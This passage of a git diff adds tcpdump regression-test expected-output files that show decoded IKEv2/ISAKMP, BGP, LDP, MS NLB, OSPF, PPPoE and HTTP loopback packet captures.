+    (v2e: len=252 0aa2636a3b897ff3fa8093282ad1724ec9f326b64bf998e781d6edbb77a369a8444dc47a4dc095ebd3ac3b1dc337570bc42c93cd6dcb7289bc99a90874e66cc4ede7a13a58ce17c65b185e86def83d66f4c4ddc433e66baf1834e54296671357a5139b0b63ebf32e652df0938badea5a960ee1758e00faa643bed85f7adee2e2e75baeec9e0df88857a67ca5f2a2f4919d0b272313d42c791eb75feca145756a0ccae3640ee98c16689df511443228846d2c5b8830ea6d149c1abed11ad0a28ca33993036e91965d48a82a898145ada994af55978696480ab6cb697e13e67968a7748c3338786efb77250e5411b3a7eac84cd221324bd7b9109d9a69)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x9881!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 02c703f4bdd83246adc67e1ca07d7e7cfe21b6bde94637680a332813b8a4ca47341abd3a9c37263896c08252bfb1ea6c7ea44783b92ac52acb4fbfec53f03554281c6377650c09208f3d778b11e77b5fbd983be1e96699232392ef31a501fda73c6150fcc2e80bab1e0d49845bd5d511f7c9285ec08352687a2ac8d70d0dec3476491c40b97cb9da405606fc5e8d46bbe199e6d91ae993b7faa0583ec4296a80812fb7e0ae88d3bd54c4a30e5edb2778c960f3e0cb5b1369e999f84de4dc72b5d006805efb7e2d2ed4033e11ff9578012d22942e3799c9382506a021)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x3549!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7e2e6623c66e161de9641ac7e1b6dfdcf3a5f45bbed123be88f3754d12514404afc054b3c7f789eb52a432a438359dde31152c11b8d209203d62779ca064823d70536c40f846d43d6694a2f12a3176f57007a3506c82fffaf3dbb713bbdbb5f540b7b39aee3c97145671504356095f7ab0c5a84347c0268bce259ca51b4a2dd75a7e3a7ee79f3bffc58d2fc0ac36686229f2309b5cd0c0dcc2af798664c14f5f166ab5e3c1f693092121aa44)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0xe402!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7b545033a2d35df2ab9f26c4bc444713910a32e60fb04cb10a9e76634787f9ddc138c6792faa074be2ebcb43f83f444249679018ec6dc7d4e2247dd8cb915778d90fa5597f1ecba8471db53e3b4da8f73d1eb60c23ca9fb5fa599dc526a961364471b49e5288fcef6a24d02a084d29c4a5c5d1fa305310dba01d09c9c36c86c0af297e05d3fc8559a11666a4363bacc354e96c941349b3f60dd397eb4c2bb09f381831167c0b33686c6bb5d8)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0759 -> 0x3076!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=332 c4bf89ec6e7936ac98a432a525c2406de940b338c9149ce19cb1bf23a69dfd481df7b3ada1adbb70bf17074643edf97e63ade5ed07f74674f26c48d2d6a9044477ee9f203084c26e85405987ec8b9693deaea20ce78c2a451bf4e834d7bcc3c54c1322b5f28ba307f2ce31a00552b97b8fc103a29fee2e0040ccddfa10bf3ab3d1209e643c228dec575240c7bd750cf4d6d06c958f66bd8a79831df871f6fbd93e025b16bd03de35ffcdbabac65570d2367e624d9f8e8560da9bc3a2142b75008b7ceb8e839dbf425da74c4be15c9dc31735ef1ac6f65c2375042dcf9682df74259b8c4437d7ee8df19fea6ec1d5bd491409cc7276d70ee0ba9172b4177fbce7fa28171a236ca8e2e0c149e602c9c6a0a3ff5f054287f54b7c314b07cdf6d246241dd364c7419cc0647422d08f5511b13e7b5cb719616466e1c6966f5ccd4d2ca2b12dda7047c6f63af5dd47)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0729 -> 0xd64e!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=284 2c1ac864ae2c8499b3c7af8c61a8c4dc9e1af23577b588d6bb3fdef3e483cc2f0158c07071d6dfaef73dccb6cdcf7a5758e41778daceb71cf6733e17168beff6ef2015d670c0b6574fc72e97d4282909966f394a9f9e0fced8e269bbf60e93f0f2080f48dcd4e02ff1129b94f68b268ddd9cff436f38e78fa7986d87e622d1f3da3b3c2795570ebc27d3c3d51f29ef0fff01ae89bd71d2e10ab8faee7d7bb4b5be8a9ee0ea9b5e347bbaf3ebdfaf19735d75e6faa020d6ea72826c2aa5cb2ee648de6b36cbb25087428dea44bd34504e05f2d4fef43c48e2a690510e9278ca8ff2f775792af061b5ccbcf77b3fee658851289969c55edc6d561718a0c761b09b0f67c96e61d00a7fa2929023b5adcfdd33436f63a478141d51b52333)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0649 -> 0x85b7!] isakmp 2.0 msgid 00000000 cookie 1d9be9451d4f97a8->64a2a4b5d0e17b6a: parent_sa inf2[I]:
+    (v2e: len=60 691b48829b6c5d6dd93fa8e33c38dd4c00f5434dc22b4251c0876f0bdb5dbba3dd06283907559a272f07ec7709b9d596a24cd8fe69b82a1f65dbf6f2)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2pI2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2pI2.out
new file mode 100644
index 0000000000000000000000000000000000000000..7940e8cd038248b8fe6030c6acb60bb5797c2cfa
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2pI2.out
@@ -0,0 +1,41 @@
+IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto UDP (17), length 536, bad cksum 0 (->f48e)!)
+    192.1.2.45.500 > 192.1.2.23.500: [no cksum] isakmp 2.0 msgid 00000000 cookie 0001020304050607->0000000000000000: parent_sa ikev2_init[I]:
+    (sa[C]: len=240
+        (p: #1 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=aes )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #2 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=aes )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #3 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #4 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #5 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1024 ))
+        (p: #6 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=192 group=modp1536 ffbc6a92a6b9559b05fa96a7a43507b4c1e1c0861a5871d9ba73a163113788c0debb3979e7ff0c52b4ce6050eb05369ea4300d2bff3b1b299f3b802ccb13318c2ab9e3b5627cb4b35eb939982076b57c050d7b35c3c5c7cc8c0feab7b64a7d7b6b8f6b4dabf4ac406dd20126b90a98ac766efa37a7890c4394ff9a77615b58f52d651bbfa58d2a549af8b01aa4bca3d762426663b155d4ebda9f60a6a13573e6a888135cdc673dd483029903f3a90eca23e1ec1e270331b2d050f4f758f49927)
+    (nonce[C]: len=16 nonce=(b5ce8419095c6e2b6b62d3055305b3c4) )
+    (v2vid: len=12 vid=OErlA\nQukSR 4f45726c415c6e51756b5352)
+IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto UDP (17), length 312, bad cksum 0 (->f56e)!)
+    192.1.2.45.500 > 192.1.2.23.500: [no cksum] isakmp 2.0 msgid 00000000 cookie 0001020304050607->c02e7a3031a03188: parent_sa ikev2_auth[I]:
+    (v2e[C]: len=252 000102030405060708090a0b0c0d0e0f4bcf2da20444caca5fb591c1ab4b9b4d4f22ac7cb49e6b08d2738884fb3efd8eebc607accc1f80f890e24df65e53d61e899f1d319d89c033524d036fd4ea7e0345def93356e2865e5481a6a20a7604083de04595e1071a2e98179eefb4e6ae4708e6875ae297b4dc5b2602d971e36f66cef12303946eea897d86bbb5903115281a266f4dcb627e146972ff2f7102931df82f24a2e40df594afc11e0a85eb1c56b9eddb7e2de52fa95cf51f4b4c9b5d53237ae39f64519413d201374a987fa8d1ce460fa2d67c417462203f2948c0b9ed8b734a69a015ff63bde767f44f83c3cfe5119d72d74e695b1032b957
+            (v2IDi: len=8 0200000077657374 fqdn:west)
+            (v2auth: len=196 method=rsasig authdata=(000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) ))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp1.out
new file mode 100644
index 0000000000000000000000000000000000000000..355a8ea3a49dd9e1370ac7a426dfafc226d622bd
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp1.out
@@ -0,0 +1 @@
+IP 127.0.0.1.500 > 127.0.0.1.500: isakmp:
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp2.out
new file mode 100644
index 0000000000000000000000000000000000000000..44c28db87b15a4a38add752c2caabc552d601a29
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp2.out
@@ -0,0 +1 @@
+IP 129.170.249.126.500 > 129.170.249.87.500: isakmp: phase 1 ? base
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp3.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp3.out
new file mode 100644
index 0000000000000000000000000000000000000000..86192639628f89b67473d7f18ee77bbff7ccc9bf
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp3.out
@@ -0,0 +1,3 @@
+IP (tos 0x0, ttl 255, id 41068, offset 0, flags [none], proto UDP (17), length 312)
+    127.0.0.1.501 > 127.0.0.1.500: isakmp 1.0 msgid 00000000: phase 1 I ident:
+    (id: idtype=FQDN protoid=0 port=0 len=248 \0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp4.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp4.out
new file mode 100644
index 0000000000000000000000000000000000000000..0de3ebcc2ab842e8d63cf1844c947fd28488925f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/isakmp4.out
@@ -0,0 +1,35 @@
+ARP, Request who-has 192.1.2.23 tell 192.1.2.254, length 28
+ARP, Reply 192.1.2.23 is-at 10:00:00:64:64:23, length 28
+IP 192.1.2.254.500 > 192.1.2.23.500: isakmp: phase 1 I ident
+IP 192.1.2.23.500 > 192.1.2.254.500: isakmp: phase 1 R ident
+IP 192.1.2.254.500 > 192.1.2.23.500: isakmp: phase 1 I ident
+IP 192.1.2.23.500 > 192.1.2.254.500: isakmp: phase 1 R ident
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 1 I ident[E]
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 1 R ident[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x1), length 132
+ARP, Request who-has 192.1.2.254 tell 192.1.2.23, length 28
+ARP, Reply 192.1.2.254 is-at 10:00:00:de:ad:ba, length 28
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x2), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x3), length 132
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x4), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x5), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x6), length 132
+ARP, Request who-has 192.1.2.23 tell 192.1.2.254, length 28
+ARP, Reply 192.1.2.23 is-at 10:00:00:64:64:23, length 28
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x7), length 132
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x8), length 132
+ARP, Request who-has 192.1.2.254 tell 192.1.2.23, length 28
+ARP, Reply 192.1.2.254 is-at 10:00:00:de:ad:ba, length 28
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R inf[E]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpbgp-linklocal-nexthop.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpbgp-linklocal-nexthop.out
new file mode 100644
index 0000000000000000000000000000000000000000..11da7265f247328b97bbea4f006f85602c1bab4d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpbgp-linklocal-nexthop.out
@@ -0,0 +1,12 @@
+IP (tos 0xc0, ttl 64, id 22725, offset 0, flags [DF], proto TCP (6), length 142)
+    30.0.0.1.49038 > 30.0.0.2.179: Flags [P.], cksum 0xd6dc (correct), seq 1284816775:1284816865, ack 1288709908, win 29, options [nop,nop,TS val 184150022 ecr 184150021], length 90: BGP, length: 90
+	Update Message (2), length: 90
+	  Origin (1), length: 1, Flags [T]: Incomplete
+	  AS Path (2), length: 4, Flags [T]: 1 
+	  Next Hop (3), length: 4, Flags [T]: 0.0.0.0
+	  Multi-Protocol Reach NLRI (14), length: 46, Flags [O]: 
+	    AFI: IPv6 (2), SAFI: Unicast (1)
+	    no AFI 2 / SAFI 1 decoder
+	    0x0000:  0002 0120 dead beef 0000 0000 0000 0000
+	    0x0010:  0000 0001 fe80 0000 0000 0000 0000 01ff
+	    0x0020:  fe01 0000 0040 0004 0005 0000 0000
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpls-ldp-hello.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpls-ldp-hello.out
new file mode 100644
index 0000000000000000000000000000000000000000..a8b237327c19a1921df0fc9f142aa14867dc6e9e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/mpls-ldp-hello.out
@@ -0,0 +1,10 @@
+IP (tos 0xc0, ttl 1, id 15579, offset 0, flags [none], proto UDP (17), length 70)
+    10.1.1.3.646 > 224.0.0.2.646: 
+	LDP, Label-Space-ID: 10.1.0.2:0, pdu-length: 38
+	  Hello Message (0x0100), length: 28, Message ID: 0x00011970, Flags: [ignore if unknown]
+	    Common Hello Parameters TLV (0x0400), length: 4, Flags: [ignore and don't forward if unknown]
+	      Hold Time: 15s, Flags: [Link Hello]
+	    IPv4 Transport Address TLV (0x0401), length: 4, Flags: [ignore and don't forward if unknown]
+	      IPv4 Transport Address: 10.1.0.2
+	    Configuration Sequence Number TLV (0x0402), length: 4, Flags: [ignore and don't forward if unknown]
+	      Sequence Number: 1
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb.out
new file mode 100644
index 0000000000000000000000000000000000000000..a1cc5da83c3f37771bcd8fe3192e215d3f777546
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb.out
@@ -0,0 +1,14 @@
+02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+	0x0000:  bf01 dec0 0602 0000 0200 0000 c0a8 6450  ..............dP
+	0x0010:  c0a8 6452 0100 0000 0100 0900 35e3 3b4f  ..dR........5.;O
+	0x0020:  bbce c804 0000 0000 0000 0000 1990 0161  ...............a
+	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+	0x0050:  0000                                     ..
+02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+	0x0000:  bf01 dec0 0602 0000 0100 0000 c0a8 6450  ..............dP
+	0x0010:  c0a8 6451 0000 0000 0100 0900 dfe2 3b4f  ..dQ..........;O
+	0x0020:  a714 6502 0000 0000 0000 0000 1990 0161  ..e............a
+	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+	0x0050:  0000                                     ..
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb2.out
new file mode 100644
index 0000000000000000000000000000000000000000..42e6e11ed7169542fa2d7998c60e38f2893e1753
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/msnlb2.out
@@ -0,0 +1,4 @@
+02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+	0x0000:  bf01 dec0 0602                           ......
+02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+	0x0000:  bf01 dec0 0602                           ......
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ospf-gmpls.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ospf-gmpls.out
new file mode 100644
index 0000000000000000000000000000000000000000..e4dd9ab69c3b82a2ba332414d645664eaa9ad292
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ospf-gmpls.out
@@ -0,0 +1,86 @@
+IP (tos 0xc0, ttl 1, id 4052, offset 0, flags [none], proto OSPF (89), length 172)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 152
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.37, seq 0x80000002, age 9s, length 104
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 8
+	    Options: [External]
+	    Link TLV (2), length: 100
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.69 (0x0afff545)
+	      Local Interface IP address subTLV (3), length: 4, 10.9.142.1
+	      Remote Interface IP address subTLV (4), length: 4, 10.9.142.2
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 63
+	      Maximum Bandwidth subTLV (6), length: 4, 622.080 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 622.080 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 622.080 Mbps
+		TE-Class 1: 622.080 Mbps
+		TE-Class 2: 622.080 Mbps
+		TE-Class 3: 622.080 Mbps
+		TE-Class 4: 622.080 Mbps
+		TE-Class 5: 622.080 Mbps
+		TE-Class 6: 622.080 Mbps
+		TE-Class 7: 622.080 Mbps
+	      Administrative Group subTLV (9), length: 4, 0x00000000
+IP (tos 0xc0, ttl 1, id 4106, offset 0, flags [none], proto OSPF (89), length 172)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 152
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.37, seq 0x80000002, age 9s, length 104
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 9
+	    Options: [External]
+	    Link TLV (2), length: 100
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.69 (0x0afff545)
+	      Local Interface IP address subTLV (3), length: 4, 10.9.143.1
+	      Remote Interface IP address subTLV (4), length: 4, 10.9.143.2
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 63
+	      Maximum Bandwidth subTLV (6), length: 4, 622.080 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 622.080 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 622.080 Mbps
+		TE-Class 1: 622.080 Mbps
+		TE-Class 2: 622.080 Mbps
+		TE-Class 3: 622.080 Mbps
+		TE-Class 4: 622.080 Mbps
+		TE-Class 5: 622.080 Mbps
+		TE-Class 6: 622.080 Mbps
+		TE-Class 7: 622.080 Mbps
+	      Administrative Group subTLV (9), length: 4, 0x00000000
+IP (tos 0xc0, ttl 1, id 4160, offset 0, flags [none], proto OSPF (89), length 212)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 192
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.35, seq 0x80000003, age 3s, length 144
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 3
+	    Options: [External]
+	    Link TLV (2), length: 140
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.40 (0x0afff528)
+	      Local Interface IP address subTLV (3), length: 4, 10.40.35.14
+	      Remote Interface IP address subTLV (4), length: 4, 10.40.35.13
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 1
+	      Maximum Bandwidth subTLV (6), length: 4, 100.000 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 100.000 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 0.000 Mbps
+		TE-Class 1: 0.000 Mbps
+		TE-Class 2: 0.000 Mbps
+		TE-Class 3: 0.000 Mbps
+		TE-Class 4: 0.000 Mbps
+		TE-Class 5: 0.000 Mbps
+		TE-Class 6: 0.000 Mbps
+		TE-Class 7: 0.000 Mbps
+	      Interface Switching Capability subTLV (15), length: 44
+		Interface Switching Capability: Packet-Switch Capable-1
+		LSP Encoding: Ethernet V2/DIX
+		Max LSP Bandwidth:
+		  priority level 0: 0.000 Mbps
+		  priority level 1: 0.000 Mbps
+		  priority level 2: 0.000 Mbps
+		  priority level 3: 0.000 Mbps
+		  priority level 4: 0.000 Mbps
+		  priority level 5: 0.000 Mbps
+		  priority level 6: 0.000 Mbps
+		  priority level 7: 0.000 Mbps
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/pppoe.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/pppoe.out
new file mode 100644
index 0000000000000000000000000000000000000000..b8f95e0c68bc89466334d2173f53004f63b3c753
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/pppoe.out
@@ -0,0 +1 @@
+PPPoE PADI [Service-Name] [PPP-Max-Payload 0x05DC] [Host-Uniq 0x16372C16]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-A.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-A.new
new file mode 100644
index 0000000000000000000000000000000000000000..10dad0fe6a80e5a9183da59e3791b6ce75c28109
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-A.new
@@ -0,0 +1,193 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+E..<.h@.@.!R.........p.P7X.~.........!....@....
+M...........
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+E..<..@.@.<..........P.p7z..7X......n.....@....
+M...M.......
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+E..4.j@.@.!X.........p.P7X..7z.... .7......
+M...M...
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+E....l@.@. ..........p.P7X..7z.... ........
+M...M...GET / HTTP/1.1
+Host: localhost
+User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+Accept: */*
+Accept-Encoding: gzip
+Accept-Language: en
+Connection: Keep-Alive
+
+
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+E..4..@.@............P.p7z..7X.I.. .7......
+M...M...
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+E.....@.@..%.........P.p7z..7X.I.. ........
+M...M...HTTP/1.1 200 OK
+Date: Wed, 06 Jul 2005 03:57:35 GMT
+Server: Apache/1.3.33
+Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
